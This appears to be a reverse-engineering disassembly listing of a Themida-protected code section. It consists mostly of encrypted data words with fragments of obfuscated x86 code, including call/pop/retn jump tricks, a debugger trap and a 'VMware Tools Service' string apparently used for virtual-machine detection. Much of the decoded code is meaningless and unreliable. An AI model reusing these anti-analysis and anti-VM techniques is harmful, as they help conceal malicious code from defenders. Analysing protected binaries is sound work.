dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh
dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C806CD2h, 18EABBEh
dd 9320202Bh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h
dd 0FFF2850Fh, 0B58DFFFFh, 6184C16h, 4C358D8Dh, 0CF2B0618h
dd 8B05E983h, 5E8C8h, 0DCDE0000h, 894ECDD7h, 13130185h
dd 820F5906h, 4, 35E9BB66h, 5D13C181h, 0B5030000h, 613237Dh
dd 1711BAh, 9E85000h, 2D000000h, 0EA36D7FFh, 9AE16BBEh
dd 1469B589h, 5B5E0613h, 69BB018Bh, 81672681h, 7DAC2EE8h
dd 0ADBD8B47h, 8106131Fh, 0A3CAC9C0h, 6890F49h, 8B000000h
dd 1330A1BDh, 2DF08106h, 894296D9h, 13232D9Dh, 810F5006h
dd 2, 18FDA8Bh, 5E9h, 56F0FF00h, 0E9816E39h, 6441C538h
dd 1A0D8589h, 0C1810613h, 6441C534h, 13D5BD8Bh, 0EA810613h
dd 1, 14850Fh, 0BD8B0000h, 6130035h, 20E9h, 0C100D500h
dd 0D51E7EECh, 0E4B3D822h, 0FFFF7BE9h, 0CDABEFFh, 445E8640h
dd 0BA5400A2h, 83E112D6h, 14E8CBh, 0BE4C0000h, 39203155h
dd 2E337FC0h, 4A969A59h, 0F70FD15Ch, 0BD8997BAh, 6132C71h
dd 0DA8B6658h, 6203C081h, 9D8B0000h, 6132441h, 1852BAh
dd 10E900h, 2FEE0000h, 0B29E073Eh, 4E4084BBh, 57A6A7B4h
dd 308B73D9h, 0DEEE81F9h, 8053F270h, 0C6810BD9h, 7ED97A69h
dd 6850Fh, 8D8B0000h, 6132A45h, 8450EE81h, 7E9279Ch, 88000000h
dd 4A5F5C58h, 30895B5Bh, 1D870Fh, 11E80000h, 70000000h
dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 209DBD8Bh
dd 835B0613h, 9D0B04E8h, 6131059h, 9B850F4Ah, 0E9FFFFFFh
dd 11h, 205D420Ch, 8F9A98B5h, 0C817857h, 4367DFD1h, 8E859h
dd 5FD00000h, 0C6D59A9Eh, 0E1816FE1h, 8E4DE33h, 1995895Bh
dd 8106130Bh, 5BC8C3h, 8E86000h, 1F000000h, 2503FAA3h
dd 89FDF871h, 132131BDh, 33615806h, 11B589F6h, 0FF061312h
dd 58FC1E34h, 0EE9h, 9B7AB800h, 77303930h, 72936124h, 81F27677h
dd 96BF40F0h, 0A9958972h, 8106130Eh, 11A55CE8h, 0F8B70F6Ah
dd 2AE7C081h, 8F0F265Dh, 4, 93FCB966h, 0B58D8950h, 8F061309h
dd 56603304h, 8159C88Ah, 0DD1756CAh, 830F615Eh, 2, 0EE83C88Bh
dd 3D29BA02h, 4E4E571Dh, 6830Fh, 0BD0B0000h, 6131F09h
dd 0A4F0FE81h, 850FFFFFh, 0FFFFFF83h, 0E9A7F781h, 786C2E90h
dd 11EE5324h, 32030124h, 9BDBC27Eh, 93C42570h, 5642560h
dd 50300124h, 3708C276h, 436C1544h, 361F940Dh, 73580737h
dd 74598D42h, 3B68E2A5h, 966F058Ch, 123000C2h, 91EEB62Bh
dd 11EA499h, 96090122h, 12030100h, 128DE844h, 0D3C70124h
dd 23A9BB8Dh, 7230968h, 8F3BA3AFh, 141F0499h, 13BEE845h
dd 878A0124h, 14922B11h, 42138AB4h, 36406A9Ah, 99569143h
dd 5E190EDEh, 1266FF00h, 1205E971h, 4F230124h, 7E085CE7h
dd 56410500h, 127A0500h, 47750124h, 96A0F2E7h, 49294C4Bh
dd 120EE944h, 0D36D0124h, 0C87989F6h, 0A74991A2h, 14731E91h
dd 9968607Bh, 3ED882FCh, 2389BCAFh, 1A8D0737h, 373684ADh
dd 99E70737h, 90CFFD6Ch, 12600124h, 24098042h, 0A59C0EDBh
dd 1D0C0124h, 120607A3h, 0D8E48024h, 9182BFA5h, 12AA08E5h
dd 1263E976h, 48100124h, 46915BE7h, 568D0500h, 12130500h
dd 40410124h, 98EC0DE7h, 0FBF981DAh, 1368842Bh, 0AC560124h
dd 5393C89Ch, 450C6B25h, 120602CCh, 0D15C2124h, 36FD887Bh
dd 36848020h, 12601B20h, 0D1674624h, 0DD8B8D35h, 99BE1C6Bh
dd 1187C91h, 0F4FABF22h, 0DA827508h, 12C00BCDh, 0A53FFE24h
dd 9D25EE81h, 936A55BCh, 743927CBh, 17C78268h, 9388C2A4h
dd 51CA911Dh, 0B9450EAFh, 78600124h, 11D85424h, 32180124h
dd 9B51C279h, 93022548h, 9072560h, 57810124h, 9803C271h
dd 0C8BB2D5Ah, 9FBD3B23h, 140B4EA9h, 0FA5A014Eh, 12060127h
dd 4CC05F04h, 16A575ADh, 16E445A5h, 12600138h, 16F35762h
dd 9E1A53FDh, 0A2CAA3FEh, 120608CDh, 3A334524h, 0FDA458E7h
dd 97E951B1h, 147307EDh, 1230029Ch, 45186B24h, 120C02CCh
dd 0D1592124h, 367F887Bh, 36C58020h, 12C01620h, 0D1374624h
dd 1B38B3E9h, 1272E0DBh, 120FE973h, 4D260124h, 6E8A5EE7h
dd 56000500h, 12DC0500h, 45270124h, 7C1D3CE7h, 0A176846Fh
dd 786DBB19h, 11EE5724h, 32030124h, 9BDFC27Ah, 93C42550h
dd 6642560h, 54300124h, 0A123C272h, 86B18C09h, 9F00196Ah
dd 0A53EEA9h, 91F5B922h, 97F300B6h, 147321ADh, 786CCE0Fh
dd 11EE5324h, 32030124h, 9BDBC27Eh, 93C42570h, 5642560h
dd 50300124h, 5E98376h, 0C08BA4F3h, 31359531h, 6A0613h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 66FBACC3h, 0BD8BF38Bh, 613117Dh, 27E9C38Bh, 74000000h
dd 75D23Ch, 8 dup(0)
dd 0DAE90000h, 2A000005h, 361CBA9Ch, 260CAAA4h, 381AB892h
dd 2709A9A7h, 291CBA9Ah, 0FC58E506h, 0E66CFCDEh, 0FB4DE2C8h
dd 0E864F5DBh, 0AFDE01CAh, 16B60633h, 0BDB9A5FCh, 0BF8B1D6Ch
dd 0B10E6FAEh, 0B5035F8Eh, 49CC109Dh, 4FDEE07Fh, 0AD81A605h
dd 32BE5B02h, 0FE91AB10h, 0C29B107Bh, 63F6DCFAh, 0E37658E9h
dd 0F86D4A69h, 109DEA9Eh, 4F9E2667h, 7CD0BB0Bh, 7F1E7FCEh
dd 84F57DEEh, 0BD0E7BCEh, 5F43C293h, 50B180D0h, 1CAF9131h
dd 1BAB8F2Ch, 0F5CA0F6Dh, 1602B82h, 0C907D130h, 409ACBECh
dd 9109E9Ah, 0C51A3C84h, 9A3690C5h, 9EFF109Eh, 0DC6C6EFFh
dd 7FF1E776h, 4503580Ah, 0F6F74166h, 228DA425h, 4396BC9Ah
dd 48C93809h, 84109E04h, 0A4C1D33h, 15C697B9h, 92796CDDh
dd 0EED483F8h, 2160F15Bh, 0A5713F97h, 56D9A341h, 7D000000h
dd 8E1D6CBDh, 93A2B2FFh, 0E3721372h, 9DB53692h, 0AA1FAB10h
dd 41EAB282h, 27354A3h, 109DC088h, 9D04CC51h, 0Eh, 72EC213Eh
dd 3B109DC0h, 0E664F8DAh, 6DBD84DEh, 4EE0C2E1h, 8D03100h
dd 69E57559h, 0EB65F6D8h, 0F089095Ah, 805EF042h, 6545075Ah
dd 0E470BDCBh, 6DE17155h, 0BEE936DCh, 0AE4666D2h, 36D0180Ah
dd 94C00DC5h, 0C8C11436h, 786D775h, 61F3D766h, 429158E9h
dd 0B382D060h, 8B008A52h, 41FE8361h, 922BA3h, 0BD0F0000h
dd 0D4092670h, 109DB57Ah, 3793C243h, 6B109DB5h, 0A4E976DEh
dd 36C1E6C5h, 0D712E65Bh, 84C61ABCh, 0DD8C54B5h, 52E367F9h
dd 6AFCDE01h, 8F3455E4h, 0AB29DBD7h, 6BA52FA5h, 0FC9524CEh
dd 55B12468h, 1E109DE0h, 4ECF9EFFh, 1CA98F2Fh, 2AB79B38h
dd 0FF43A22Ah, 0C891A0B0h, 0C19FCD3Eh, 69A341C3h, 4Ch
dd 77D5684Ah, 0C31DA7E6h, 55E470BDh, 4D035476h, 4AFE5183h
dd 2807D8FBh, 9DB559B5h, 0BFE32210h, 3051E070h, 35ED5EA8h
dd 0B40EACA8h, 1190DDC2h, 2293BC78h, 2826B89Ah, 7E69E819h
dd 68E2109Eh, 23EBA9D3h, 153A341h, 0E7000000h, 4EE0C2h
dd 0A86C0A31h, 58547298h, 0B9DAF39h, 992C2E3Fh, 44AEA2B3h
dd 0A53A20C7h, 697392A3h, 5675D567h, 6C8A0479h, 3253109Eh
dd 756CACAAh, 6CA82253h, 2C71109Eh, 66516E4Dh, 3F62D19Eh
dd 0EA19A352h, 168F80FBh, 0ABA5361Ch, 0F4717B9Ah, 0BC103291h
dd 0A8A7468Eh, 0A9A4577Fh, 0F0F806D2h, 0A1014BDEh, 4F1E2E7Fh
dd 8B0B62BEh, 94B9A0Ah, 8AC41638h, 8E2B65BBh, 9FFE54E4h
dd 6D25963Ch, 331FADDCh, 3C0D3D8Fh, 411EBCDDh, 0B73EF1Eh
dd 0D93C0A8Bh, 0E06CBD0Fh, 70DC6D51h, 6F886C53h, 0E5E96598h
dd 53B20A8Ah, 0D5F6056Ch, 1CB65C0Bh, 0EA62F39Fh, 0BDA070CCh
dd 65425AACh, 8B0F96F0h, 0D805F0Ah, 0A8B0F91h, 925A3B5Ah
dd 1550Bh, 0DDC22F00h, 21AFCD64h, 0BAE12031h, 666ED65Ch
dd 58770F5Ah, 8F35C025h, 0E2715916h, 1C3E0F6Eh, 0FD2383C9h
dd 0AD91A0ACh, 0B493301Ch, 1FE86293h, 6CB10A8Bh, 8B1FA1FDh
dd 0A12B6A0Ah, 3DCE3C42h, 0BA183485h, 2B27B59Dh, 84D7FB1Ah
dd 9464FCC4h, 3C5AAC81h, 70h, 0BAE5C222h, 7D435DD5h, 0B22C5DEDh
dd 7B109EA3h, 998BB51Ah, 15A1C181h, 47786FCBh, 47956F6h
dd 109E338Ah, 74533253h, 6FDF6F53h, 0CA8C2665h, 70956F62h
dd 78416C53h, 92CB40CBh, 96BC9B4Ah, 0D9380943h, 0C716700Fh
dd 5618909Dh, 0B6CC13E5h, 67113619h, 1214B592h, 66E015B2h
dd 2F909E70h, 0BA7E6EEh, 14EF6307h, 8FF6D1F1h, 5C000000h
dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h, 0B382CA1Bh
dd 8AA0C142h, 0D6B0010Ah, 0D1883584h, 0C998F95Fh, 46173385h
dd 0F850E3C7h, 0FF7CF669h, 486AB516h, 0F7915BF9h, 0CF7DD082h
dd 9BAAFEFh, 0ACADD2BCh, 0A777376Bh, 0FA50E4C6h, 88C93C9Bh
dd 0D91072BCh, 10A1A5B4h, 39930F7Eh, 395C0472h, 99D30958h
dd 75115820h, 4517956h, 41103C8Dh, 7190A1C0h, 6AF91867h
dd 9DBA0A5Ah, 59E7EE68h, 4593B7FEh, 0F84A6C0Dh, 0BCE18E56h
dd 0E0C2C41Eh, 6B6FFE4Ch, 0A2E372DAh, 0A4BDF9C3h, 0BDE2C5E2h
dd 0DABFB659h, 4BC736BEh, 14109DC7h, 0B94890F1h, 1685F898h
dd 0FF53E1E9h, 0A2FC716Eh, 6B0A8575h, 1B2A4B2Ah, 8A6A637h
dd 1EBD8F22h, 1E19FD39h, 7ADCC38Dh, 0F14668DFh, 0AFDE8D57h
dd 5D3F20D3h, 0F6A11A58h, 8B2AA4D9h, 92F396BAh, 0F6EE0E2Dh
dd 0D9E344F7h, 0C8E666F7h, 0CE3F4FE2h, 96BA4D54h, 4CFE588Dh
dd 46C796BAh, 64F594F9h, 607FD162h, 5E78BA77h, 9058E97Eh
dd 0F891FBD1h, 6697F74Ah, 96B9EBECh, 0AEBF8D20h, 0DCBDE06Fh
dd 0C389DCFEh, 0B66A5572h, 9BDB624Eh, 3EAF5FFh, 48000000h
dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h
dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh
db 24h, 15h, 22h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov ecx, 3FF75205h
xor ecx, 0A983DECh
neg ecx
xor ecx, 44545A9Ah
xor ecx, 40F228D2h
sub ecx, 0CE36E25Bh
add ebp, ecx
pop ecx
sub ebp, 4
xchg ebp, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], eax
mov eax, 139B6AC5h
add eax, 0F27CE6A8h
mov edi, eax
pop eax
push esp
mov edx, [esp]
add esp, 4
push ebp
mov ebp, edi
push edi
mov edi, ebp
mov [edx+8], edi
pop edi
pop ebp
push dword ptr [esp]
pop edx
add esp, 4
mov edi, [esp]
push ebp
mov ebp, esp ; CODE XREF: Themida_:005D1A42j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58442C
; ---------------------------------------------------------------------------
wait
sbb al, 0A8h
inc ecx
cmp ebx, [eax+ecx*2]
cli
jp short loc_5D1A31
and byte ptr [ebx-471D4D91h], 95h
push esi
sbb [esi], al
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 1C36h
dd 8D967F3Fh, 0A59E77C4h, 60334C2Ah, 0ED1F2928h, 5563125Eh
db 0EFh
; ---------------------------------------------------------------------------
loc_5D1A31: ; CODE XREF: Themida_:005D1A0Aj
dec ebx
fstp qword ptr [edi+24h] ; CODE XREF: Themida_:005D1A45j
ja short loc_5D1A5F
cwde
xor al, 6Ah
xchg dh, [edi]
mov ds:0AD7D766Fh, eax
pop esi
jnb short near ptr loc_5D19EB+1
xchg eax, ebp
js short near ptr loc_5D1A32+1
pop esi
and eax, 0E7CDB037h
or al, 12h
pop ebx
loc_5D1A50: ; CODE XREF: Themida_:005D1AC3j
jo short near ptr loc_5D1AB0+6
retf
; ---------------------------------------------------------------------------
db 0E4h
; ---------------------------------------------------------------------------
push ds
adc eax, 14AA843Eh
or edi, [eax]
xor [eax+4Ch], bh
loc_5D1A5F: ; CODE XREF: Themida_:005D1A35j
cmp ecx, ss:[edi-36h]
push edi
cmp [ecx-8], edi
scasd
sub [edx], cl
in al, dx
int 29h ; DOS 2+ internal - FAST PUTCHAR
; AL = character to display
mov dword ptr gs:[edx+0D230C70h], 0EE2C256Bh
js short loc_5D1A9C
; ---------------------------------------------------------------------------
dw 0B38Eh
dd 0E4C70F5Dh, 4B656BC5h, 1E567226h, 1F6444E6h, 0CB2E0EC0h
dd 0C7C46934h, 292C18E6h, 8D8D37B5h
; ---------------------------------------------------------------------------
loc_5D1A9C: ; CODE XREF: Themida_:005D1A78j
lock pop eax
sbb [esi], al
push 0
push ebp
call sub_5D1AAB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1AAB proc near ; CODE XREF: Themida_:005D1AA3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
loc_5D1AB0: ; CODE XREF: Themida_:loc_5D1A50j
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5D1AAB endp
; ---------------------------------------------------------------------------
mov byte ptr [esi+4], 0Bh
inc edx
mov dl, 0B7h
sahf
loop loc_5D1A50
mov ch, 61h
adc [ebx], edx
push es
mov [ebp+6131BBDh], ecx
push 0
push edx
call sub_5D1ADB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1ADB proc near ; CODE XREF: Themida_:005D1AD3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5D1ADB endp
; ---------------------------------------------------------------------------
sub bh, ah
mov bh, 0B8h
clc
push 0FFFFFF91h
test [esi+18DD85C7h], dh
adc eax, [esi]
int 3 ; Trap to Debugger
add fs:[eax], al
push 0
push edi
call sub_5D1B09
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1B09 proc near ; CODE XREF: Themida_:005D1B01p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5D1B09 endp
; ---------------------------------------------------------------------------
push es
fcmovb st, st(4)
add [ebp+6132B41h], eax
mov dword ptr [ebp+6133055h], 0
push 0
push edi
call sub_5D1B37
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1B37 proc near ; CODE XREF: Themida_:005D1B2Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5D1B37 endp
; ---------------------------------------------------------------------------
db 0ECh
dd 2E773A5Dh, 0FB8BDD75h, 2831B5FFh, 6A0613h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8F0FD6C3h
dd 7, 0C7816657h, 0FF5E40AFh, 131D8995h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 29EC5AF7h, 7F2AB72Eh, 820F877Dh, 0
; ---------------------------------------------------------------------------
movzx edi, cx
push 0
call dword ptr [ebp+6130DA9h]
mov eax, eax
jmp short loc_5D1BEE
; ---------------------------------------------------------------------------
db 4Fh
dd 0CF6CAAADh, 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh
dd 0FC33B55Dh, 7F55846Eh, 0D448A6BEh, 67384E7Ch, 0EFE05D82h
dd 199376E6h
db 0FCh, 0Ch
; ---------------------------------------------------------------------------
loc_5D1BEE: ; CODE XREF: Themida_:005D1BBDj
lea ecx, [ebp+61859F4h]
push esi
sub [ebp+6130BF5h], ebx
pop eax
mov [ebp+6131BBDh], ecx
add [ebp+61331DDh], esi
mov dword ptr [ebp+61318DDh], 5E28h
push 0
push ecx
call sub_5D1C1D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1C1D proc near ; CODE XREF: Themida_:005D1C15p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5D1C1D endp
; ---------------------------------------------------------------------------
db 7Ah, 0E9h, 0Fh
dd 0B2000000h, 59A143AFh, 5C14FB1Bh, 0BA0F17Bh, 85C771FEh
dd 6133055h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5D1C57
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1C57 proc near ; CODE XREF: Themida_:005D1C4Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5D1C57 endp
; ---------------------------------------------------------------------------
db 0F3h
; ---------------------------------------------------------------------------
add ebp, [esi+edx*2-23h]
mov ebp, 0C5B06A46h
mov dh, 39h
push dword ptr [ebp+613125Dh]
push 0
push ebx
call sub_5D1C84
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1C84 proc near ; CODE XREF: Themida_:005D1C7Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5D1C84 endp
; ---------------------------------------------------------------------------
dd 3FEA119Ah, 7118D484h, 0E9852B75h, 0FF061334h, 131D8995h
dd 8810F06h, 51000000h, 8B4BDB81h, 6A5B31D3h, 0A995FF00h
dd 8B06130Dh, 0DF08EBC0h, 0F942D090h, 0E9F92C04h, 0B0h
dd 0DA8C6660h, 0F04C2F6h, 0C85h, 6D853B00h, 0F061311h
dd 3684h, 0D1853B00h, 0F061310h, 2A84h, 0C9853B00h, 0F061307h
dd 1E84h, 0CD853B00h, 0F061314h, 1284h, 75BD8300h, 106131Ah
dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h
dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h
dd 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h, 850F4A04h
dd 0FFFFFFDCh, 0DE9h, 8D9D8D00h, 0B806134Fh, 5, 0C361E3FFh
dd 9D8DD00Bh, 6133005h, 0CEB8h, 99858900h, 0E8061325h
dd 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5D1E73
; ---------------------------------------------------------------------------
db 2 dup(0), 0F2h
dd 32h dup(0F2000076h)
db 76h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5D1E73: ; CODE XREF: Themida_:005D1DA0j
jmp loc_5D1F02
; ---------------------------------------------------------------------------
a2VmwareToolsSe db '2ÞÏ[VMware Tools Service',0
align 4
dd 1Bh dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D1F02: ; CODE XREF: Themida_:loc_5D1E73j
jmp loc_5D2D44
; ---------------------------------------------------------------------------
push 6185DBEh
jmp loc_590A54
; ---------------------------------------------------------------------------
push 6185EAAh
jmp loc_590A54
; ---------------------------------------------------------------------------
push 6186047h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 6186086h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 6186128h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 61861C2h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 6186566h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 61867E9h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 61868D1h
jmp loc_590A54
; ---------------------------------------------------------------------------
db 0Eh, 0ECh, 0C3h
dd 5758B5DDh, 0C8E3F969h, 5B54AADAh, 0CBD4FD65h, 0D775E9D5h
dd 473BA5FAh, 0DD85FBB0h, 9FD3ADFEh, 6E806249h, 0B4B622AAh
dd 8986428Ch, 4A61773Ch, 0CEDDFB89h, 0E641DBF4h, 0F64FDA72h
dd 0B3D3EA1h, 24EB6C6h, 0AF4EBD78h, 2CC1D300h, 27974E83h
dd 0A189F81Ah, 0B04CC498h, 0F604B6FBh, 0CA067786h, 411B48h
dd 272B0000h, 780A359Fh, 708B03BDh, 8644763Bh, 93FB6174h
dd 0C3EC0174h, 60FAF305h, 0C2B951C5h, 0C03EA1BDh, 0E7E9A7Eh
dd 0BD783C9Ah, 0A9AA3072h, 783CAD13h, 0C992B8BDh, 0CA24AA59h
dd 0C8F048h, 0FBA50000h, 0EA7486E3h, 0DEFC9908h, 985952B6h
dd 0E2CD20B0h, 0D33FD931h, 5440712Eh, 53C545B4h, 294494B2h
dd 1D87FFF7h, 0EB4494B2h, 0D707EFB9h, 10656413h, 0A3B04AFFh
dd 0EED4D731h, 9498C17Eh, 0FAB14744h, 0AFFCDC88h, 752AC747h
dd 0A7C16E63h, 11FC8C8Ch, 73EA1A6h, 48D2EBD5h, 0CC546CF7h
dd 4A801EC8h, 0FE533ECEh, 1749C74Dh, 4D52AF1Fh, 0BDE2FF73h
dd 3C39CCh, 64654E71h, 0C09h, 0E8DAD535h, 744E617Ch, 0E1BFEC00h
dd 70525DB1h, 0E0C2DD04h, 0F3DE7EF0h, 0A94E36ACh, 17F4A002h
dd 0A2462E94h, 41459709h, 8CB55FC9h, 15402D42h, 5B455A77h
dd 5EDAD127h, 0E866D27Ah, 14564494h, 0E46C9C06h, 906AA704h
dd 48D24B8Ah, 455D79DDh, 3B511863h, 0A9E1F763h, 3EA1F4B2h
dd 0B3A54E90h, 26EBC01Bh, 70E464D4h, 48BD79F5h, 10880416h
dd 0DBD79F5h, 5B4242Dh, 4948CBEDh, 0A5h, 4A6177FAh, 0C9D6FB89h
dd 60E00008h, 0B410A62h, 68157583h, 624494E9h, 85931CF2h
dd 0E2C0EB0Dh, 0E15556B2h, 0F2299071h, 68D4AA4Dh, 0F3E0FAB0h
dd 0F07223Ch, 0A12A9477h, 6240823Eh, 0DD52F38Dh, 601C71FCh
dd 0A42414D6h, 0C74D6658h, 0DBD028A0h, 48A9290Dh, 0DA609A57h
dd 0F4AB56BEh, 0A4FBE68Eh, 0FFA38827h, 0F792BD70h, 0B1Dh
dd 0FCE6C921h, 483A7588h, 0F5EBC01Ch, 643E718Dh, 0F4CED130h
dd 2FD24ABCh, 85621270h, 33C8BC26h, 7E5A0A78h, 9579532Dh
dd 8CB683F5h, 418C7942h, 5B455A77h, 0E8DAD127h, 4A6177BDh
dd 0D8D896CEh, 1DDD0FFEh, 2ACEB61Bh, 0DBF71F81h, 94B8F96Bh
dd 8B8DCF44h, 0E94DD862h, 298265EDh, 0A0B87B0Fh, 92023EA1h
dd 8B7D3675h, 79D989FBh, 8B3D7FBDh, 1ED3156Dh, 79D936AEh
dd 3E0B33BDh, 0CBC13FCEh, 76348h, 6C300000h, 7D9h, 0DD48D245h
dd 0F5F6D179h, 0D8783EA1h, 0F38FA906h, 749400B1h, 8C2ED01h
dd 9D0EEA9Ah, 2EBCE474h, 48D94D0h, 5D7D0D2Bh, 3CA4BC21h
dd 58CC3C58h, 30D63C2Fh, 4A8724B8h, 3EA03A70h, 91416135h
dd 1BBD1B65h, 65830F29h, 0F91D7160h, 8446BCDCh, 0D0DBFC94h
dd 4CACD84Ah, 0A31AB25Fh, 0AAD63CC6h, 7187DFECh, 0BC1C483Ah
dd 47CAC2EFh, 45776EBEh, 4ACE039Ch, 3CC656C2h, 0F0E426D6h
dd 5F628F1Ch, 6EDEB2BFh, 0D63CC6FAh, 7A5A90D2h, 21B70FDCh
dd 0FAECF8A4h, 0AC0B164h, 0B90CEC98h, 0F40722B5h, 0D300CA4Bh
dd 7B24CD45h, 3BF6905Dh, 98404BBBh, 0F436AC09h, 2106F58Eh
dd 9C2C2C07h, 0B23482C5h, 0ED9D0143h, 8027EF64h, 0A942B3CDh
dd 0B850C802h, 96D075ADh, 37E8295Bh, 7616022Dh, 9CC1695Dh
dd 278463CBh, 0FBDD75E1h, 31C703B0h, 0A00BED65h, 8F8ED642h
dd 5AA65718h, 16F222B8h, 0F21F8C5Fh, 67A10AE2h, 217928A1h
dd 0DDC61970h, 980DCh, 931CBE00h, 7A8452Dh, 9813E999h
dd 0BA43A2Ah, 9B04ED95h, 7857925h, 97CBB5EAh, 0D756B40h
dd 0AFE3BDEEh, 5E705259h, 88A612BAh, 9996428Ch, 4A61776Ch
dd 2829AA41h, 0ADCCF77Dh, 941h, 0F0D2DDFDh, 5C466984h
dd 0E9D7D428h, 584A6579h, 0E8DAC52Ch, 1BC646B8h, 91761E84h
dd 1FBCA81Ah, 8A6E168Ch, 692DBF21h, 8C8877E1h, 0FD484542h
dd 894A6177h, 0D7C9D6FBh, 5CE651BAh, 9EE565D1h, 6C3EA1FAh
dd 6316463Ah, 44FDE4DDh, 7F07EF3Ah, 68E65F4h, 3C58C002h
dd 889D58CCh, 0ECEE3076h, 32E38E7h, 795E7313h, 0E4C80C83h
dd 9111F064h, 0A6F9D868h, 3A1EEC1Eh, 0A869429Ah, 40D0C852h
dd 799D03A8h, 0E68BB629h, 90ED3A89h, 0C3D59497h, 7F1325E3h
dd 84494269h, 0F9A92DCEh, 89FBBCEh, 4B9F0000h, 0F7167E64h
dd 429ACAB8h, 0F30B7769h, 339EC6BCh, 0D44A766Ch, 9C069938h
dd 269C0FE8h, 0B40E9D3Eh, 1D8328C0h, 0D53FC7CFh, 0A3428C89h
dd 61775FA6h, 0E0FB894Ah, 53A5D5CBh, 3D4494E8h, 44C439D5h
dd 4494E8D0h, 7F3476A8h, 0A6C0AD4Bh, 57FB8B8Bh, 653EAD34h
dd 73E56571h, 49BD734Ch, 4C219317h, 0E517BD73h, 9F87AF53h
dd 25A039B6h, 1314EF1Ch, 4583ED33h, 0DDFB9383h, 6880F4CEh
dd 0A8A8E43h, 0C1F9BAF1h, 0A9F6DB37h, 2C7F5C68h, 0F5FF89Fh
dd 47426D77h, 805h, 0B40EA139h, 20822DC0h, 0AD139874h
dd 1C8629C5h, 0AC168968h, 678A02F4h, 0BD1A4A38h, 0BE094EEh
dd 0B65242A0h, 4D318BF5h, 8C894BBDh, 0F9444142h, 0DD87E3FBh
dd 0F4870EE9h, 614AAEE6h, 0E7C424B0h, 0E6F3932Ah, 5F416A8Eh
dd 0B0C517B7h, 6B9F5457h, 8496749Dh, 266AC9F8h, 4EF8DB1h
dd 0FB460000h, 81327993h, 0A4BEAF49h, 9898D89h, 0C3F7BCEFh
dd 34BDD535h, 79AB3EADh, 0B8F3157Dh, 923A1ECAh, 0BD734D26h
dd 2946D416h, 0AA2A0E11h, 77DC5E4Dh, 0DF59D805h, 46133B92h
dd 5DD427D6h, 326B31h, 0D2180000h, 0D373E346h, 4494E861h
dd 5CEC2557h, 88920DF4h, 2E0AD004h, 0DCE54524h, 0BE715D6Ch
dd 0E016Eh, 7D150000h, 67A3505Bh, 0BE6C82D1h, 45000001h
dd 2EE346D2h, 38FC619Eh, 9B10E76Bh, 0EE5AF256h, 0DEC2077Ch
dd 0A0C928ACh, 68A95F4Ch, 0F315DE7Ch, 14E8688Ch, 0EDB8197h
dd 0B5646F9Eh, 333337h, 0D2E00000h, 9E2EE346h, 6B38FC76h
dd 9CAE106h, 5EF902CBh, 553DBE2Fh, 0B6BBF8B3h, 0CF774B18h
dd 0C2079465h, 0E8D71153h, 0FA097942h, 0A037B590h, 68h
dd 3146D275h, 94E82F99h, 1DEB1D44h, 0E8279139h, 0D3154494h
dd 9E0DEB63h, 8C839575h, 88D2F54h, 0EA198952h, 0B0B12651h
